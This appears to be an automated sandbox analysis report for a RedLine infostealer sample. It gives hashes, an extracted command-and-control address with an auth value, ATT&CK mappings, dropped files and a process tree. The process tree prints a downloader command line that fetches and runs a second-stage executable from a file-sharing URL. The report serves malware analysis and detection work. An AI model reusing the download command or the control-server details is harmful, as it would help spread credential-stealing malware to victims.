redline | 1d1c688d117950a23ae8c39cbe2bfee953030f33a59afe869989b2e9470c464e

Analysis

max time kernel
73s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20220331-en
submitted
01/04/2022, 19:09

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
e8267780010f1b79d10d22bf70ba6f5e.exe
Size 349KB
Sample220401-xtr1rscabp
SHA256 1d1c688d117950a23ae8c39cbe2bfee953030f33a59afe869989b2e9470c464e
MD5 e8267780010f1b79d10d22bf70ba6f5e
SHA1 f30bfba63ff4ea5c73048631bdadbbd37d22ffb0
SHA512 b766a0e264ae62ceccdc07eac2745cf0cadc1bbab87dcb3466a4585633ade57f97f5bf60a116ff134349891a3b62d9b0774fb0ab38af48697f1d2ecc7dc5e629
MD5 SHA1 SHA512

Score

10^/10

redline discovery infostealer spyware stealer suricata upx

Malware Config

Extracted

Family

redline

78.24.216.5:12794

Attributes

auth_value
6687e352a0604d495c3851d248ebf06f

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 4 IoCs

resource	yara_rule
behavioral2/files/0x0006000000021e4d-135.dat	family_redline
behavioral2/files/0x0006000000021e4d-137.dat	family_redline
behavioral2/files/0x0006000000021e4d-138.dat	family_redline
behavioral2/memory/5032-141-0x0000000000A50000-0x0000000000A70000-memory.dmp	family_redline

suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)
suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)
suricata
Downloads MZ/PE file

Executes dropped EXE 6 IoCs

pid	Process
2852	extd.exe
4456	extd.exe
2828	extd.exe
5032	3.exe
5024	3.exe
2728	extd.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0006000000021e4a-127.dat	upx
behavioral2/files/0x0006000000021e4a-128.dat	upx
behavioral2/files/0x0006000000021e4a-130.dat	upx
behavioral2/files/0x0006000000021e4a-132.dat	upx
behavioral2/files/0x0006000000021e4a-140.dat	upx

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5032	3.exe
5024	3.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5032	3.exe
Token: SeDebugPrivilege	5024	3.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3236 wrote to memory of 4032	3236	e8267780010f1b79d10d22bf70ba6f5e.exe	77
PID 3236 wrote to memory of 4032	3236	e8267780010f1b79d10d22bf70ba6f5e.exe	77
PID 4032 wrote to memory of 2852	4032	cmd.exe	78
PID 4032 wrote to memory of 2852	4032	cmd.exe	78
PID 4032 wrote to memory of 2852	4032	cmd.exe	78
PID 4032 wrote to memory of 4456	4032	cmd.exe	79
PID 4032 wrote to memory of 4456	4032	cmd.exe	79
PID 4032 wrote to memory of 4456	4032	cmd.exe	79
PID 4032 wrote to memory of 2828	4032	cmd.exe	80
PID 4032 wrote to memory of 2828	4032	cmd.exe	80
PID 4032 wrote to memory of 2828	4032	cmd.exe	80
PID 4032 wrote to memory of 5032	4032	cmd.exe	81
PID 4032 wrote to memory of 5032	4032	cmd.exe	81
PID 4032 wrote to memory of 5032	4032	cmd.exe	81
PID 4032 wrote to memory of 5024	4032	cmd.exe	82
PID 4032 wrote to memory of 5024	4032	cmd.exe	82
PID 4032 wrote to memory of 5024	4032	cmd.exe	82
PID 4032 wrote to memory of 2728	4032	cmd.exe	83
PID 4032 wrote to memory of 2728	4032	cmd.exe	83
PID 4032 wrote to memory of 2728	4032	cmd.exe	83

C:\Users\Admin\AppData\Local\Temp\e8267780010f1b79d10d22bf70ba6f5e.exe
"C:\Users\Admin\AppData\Local\Temp\e8267780010f1b79d10d22bf70ba6f5e.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3236
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\8EBA.bat C:\Users\Admin\AppData\Local\Temp\e8267780010f1b79d10d22bf70ba6f5e.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4032
- - C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:2852
- - C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe "/download" "https://transfer.sh/get/aWWuuO/3.exe" "3.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:4456
- - C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe "/download" "https://transfer.sh/get/aWWuuO/3.exe" "3.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:2828
- - C:\Users\Admin\AppData\Local\Temp\5348\3.exe
    3.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5032
- - C:\Users\Admin\AppData\Local\Temp\5348\3.exe
    3.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5024
- - C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe "" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:2728

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

3.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3.exe.log
Size 2KB
SHA256 c60bc1eb89601d8780e868f01709628edd1d7b2b8bd963eae97a91dcf4566d01
MD5 89287e5ea7af0defdfc69be4d9a0dbc8
SHA1 fc925f17db9279a229b1a3cad2fc5d598d9281b0
SHA512 39915ddb1eab1fb9c5b1e17d09540c8a1aa07e62e9621d4fc2c03bf397a4cf63f021db541051bd9a1a740bb5e074f2bcba34de26f17d1b09ee923e67d1456992
MD5 SHA1 SHA512

Submit Download

3.exe

Path C:\Users\Admin\AppData\Local\Temp\5348\3.exe
Size 106KB
SHA256 dbfc67a0f1ec16ef225619c1bb18d96f65c77c457020d547cc6758c089d072bf
MD5 08b1a8c2716d7ee36567e3735d9fbbf9
SHA1 2bd513c0c76bb817178b43b709384d2d8caced98
SHA512 a78c95042655293213c3f67db4e8bbc1c2d558218e3a4aba725b42c23070b008d7c030ae576e7056c7673f28a595ea51cbd93816391b19e380b4635624d4dabe
SSDEEP 1536:uRxIkCr9Q2ItAVcGPBjrAt/8xdVy3BfgHgjaoPjbuZEj6Rhs0wuei6FLI:4Cr9Q+TmsVy3BfgHgjao3hyhsh7c
MD5 SHA1 SHA512 SSDEEP

Submit Download

3.exe

Path C:\Users\Admin\AppData\Local\Temp\5348\3.exe
Size 106KB
SHA256 dbfc67a0f1ec16ef225619c1bb18d96f65c77c457020d547cc6758c089d072bf
MD5 08b1a8c2716d7ee36567e3735d9fbbf9
SHA1 2bd513c0c76bb817178b43b709384d2d8caced98
SHA512 a78c95042655293213c3f67db4e8bbc1c2d558218e3a4aba725b42c23070b008d7c030ae576e7056c7673f28a595ea51cbd93816391b19e380b4635624d4dabe
SSDEEP 1536:uRxIkCr9Q2ItAVcGPBjrAt/8xdVy3BfgHgjaoPjbuZEj6Rhs0wuei6FLI:4Cr9Q+TmsVy3BfgHgjao3hyhsh7c
MD5 SHA1 SHA512 SSDEEP

Submit Download

3.exe

Path C:\Users\Admin\AppData\Local\Temp\5348\3.exe
Size 106KB
SHA256 dbfc67a0f1ec16ef225619c1bb18d96f65c77c457020d547cc6758c089d072bf
MD5 08b1a8c2716d7ee36567e3735d9fbbf9
SHA1 2bd513c0c76bb817178b43b709384d2d8caced98
SHA512 a78c95042655293213c3f67db4e8bbc1c2d558218e3a4aba725b42c23070b008d7c030ae576e7056c7673f28a595ea51cbd93816391b19e380b4635624d4dabe
SSDEEP 1536:uRxIkCr9Q2ItAVcGPBjrAt/8xdVy3BfgHgjaoPjbuZEj6Rhs0wuei6FLI:4Cr9Q+TmsVy3BfgHgjao3hyhsh7c
MD5 SHA1 SHA512 SSDEEP

Submit Download

8EBA.bat

Path C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\8EBA.bat
Size 604B
SHA256 735c3b7203d3a9fb277baca37f1b25c0b7b59da57d69762864a57a20a3c384a1
MD5 3b0062c996a94389f2afcb34bad986a1
SHA1 203550db56947ac5d2a317d0a324bbc87cbe53d7
SHA512 1eb671756d6e3f215efc0c974c4648fc42a21d5b5547b3de9a4177f444df17b329087411c6c9ce0da2f03f14e209ce022e795539035d27b2aefed1b2c4a5129a
MD5 SHA1 SHA512

Submit Download

extd.exe

Path C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe
Size 259KB
SHA256 d4b9b8b1f9ab2fbca7b55c4068bdcefae50ad3994924d67607fc9ae859003332
MD5 139b5ce627bc9ec1040a91ebe7830f7c
SHA1 c7e8154ebed98bea9d1f12b08139d130b6836826
SHA512 8cc0e484ddb2e8bed4b8554e65ab8e3bfbe2a8f1c554a7aec9eac4c9555396e21c4bc2840d499ce4baffed2a4966a7d742c7c3ada58d039630b03472e322042b
SSDEEP 6144:NokHEBAQvNj+Z02VzUgoML2OHCGzVGKdI28oS:NCAQvWivMLHCGU28oS
MD5 SHA1 SHA512 SSDEEP

Submit Download

extd.exe

Path C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe
Size 259KB
SHA256 d4b9b8b1f9ab2fbca7b55c4068bdcefae50ad3994924d67607fc9ae859003332
MD5 139b5ce627bc9ec1040a91ebe7830f7c
SHA1 c7e8154ebed98bea9d1f12b08139d130b6836826
SHA512 8cc0e484ddb2e8bed4b8554e65ab8e3bfbe2a8f1c554a7aec9eac4c9555396e21c4bc2840d499ce4baffed2a4966a7d742c7c3ada58d039630b03472e322042b
SSDEEP 6144:NokHEBAQvNj+Z02VzUgoML2OHCGzVGKdI28oS:NCAQvWivMLHCGU28oS
MD5 SHA1 SHA512 SSDEEP

Submit Download

extd.exe

Path C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe
Size 259KB
SHA256 d4b9b8b1f9ab2fbca7b55c4068bdcefae50ad3994924d67607fc9ae859003332
MD5 139b5ce627bc9ec1040a91ebe7830f7c
SHA1 c7e8154ebed98bea9d1f12b08139d130b6836826
SHA512 8cc0e484ddb2e8bed4b8554e65ab8e3bfbe2a8f1c554a7aec9eac4c9555396e21c4bc2840d499ce4baffed2a4966a7d742c7c3ada58d039630b03472e322042b
SSDEEP 6144:NokHEBAQvNj+Z02VzUgoML2OHCGzVGKdI28oS:NCAQvWivMLHCGU28oS
MD5 SHA1 SHA512 SSDEEP

Submit Download

extd.exe

Path C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe
Size 259KB
SHA256 d4b9b8b1f9ab2fbca7b55c4068bdcefae50ad3994924d67607fc9ae859003332
MD5 139b5ce627bc9ec1040a91ebe7830f7c
SHA1 c7e8154ebed98bea9d1f12b08139d130b6836826
SHA512 8cc0e484ddb2e8bed4b8554e65ab8e3bfbe2a8f1c554a7aec9eac4c9555396e21c4bc2840d499ce4baffed2a4966a7d742c7c3ada58d039630b03472e322042b
SSDEEP 6144:NokHEBAQvNj+Z02VzUgoML2OHCGzVGKdI28oS:NCAQvWivMLHCGU28oS
MD5 SHA1 SHA512 SSDEEP

Submit Download

extd.exe

Path C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe
Size 259KB
SHA256 d4b9b8b1f9ab2fbca7b55c4068bdcefae50ad3994924d67607fc9ae859003332
MD5 139b5ce627bc9ec1040a91ebe7830f7c
SHA1 c7e8154ebed98bea9d1f12b08139d130b6836826
SHA512 8cc0e484ddb2e8bed4b8554e65ab8e3bfbe2a8f1c554a7aec9eac4c9555396e21c4bc2840d499ce4baffed2a4966a7d742c7c3ada58d039630b03472e322042b
SSDEEP 6144:NokHEBAQvNj+Z02VzUgoML2OHCGzVGKdI28oS:NCAQvWivMLHCGU28oS
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/5024-149-0x0000000005C90000-0x0000000005CAE000-memory.dmp

Download

memory/5024-142-0x0000000005D20000-0x0000000006338000-memory.dmp

Download

memory/5024-143-0x0000000005700000-0x0000000005712000-memory.dmp

Download

memory/5024-153-0x0000000009540000-0x0000000009A6C000-memory.dmp

Download

memory/5024-152-0x0000000008E40000-0x0000000009002000-memory.dmp

Download

memory/5024-151-0x0000000008400000-0x0000000008450000-memory.dmp

Download

memory/5032-147-0x0000000005840000-0x00000000058D2000-memory.dmp

Download

memory/5032-148-0x0000000006510000-0x0000000006AB4000-memory.dmp

Download

memory/5032-141-0x0000000000A50000-0x0000000000A70000-memory.dmp

Download

memory/5032-150-0x0000000006360000-0x00000000063C6000-memory.dmp

Download

memory/5032-146-0x00000000057C0000-0x0000000005836000-memory.dmp

Download

memory/5032-145-0x0000000005440000-0x000000000547C000-memory.dmp

Download

memory/5032-144-0x0000000005510000-0x000000000561A000-memory.dmp

Download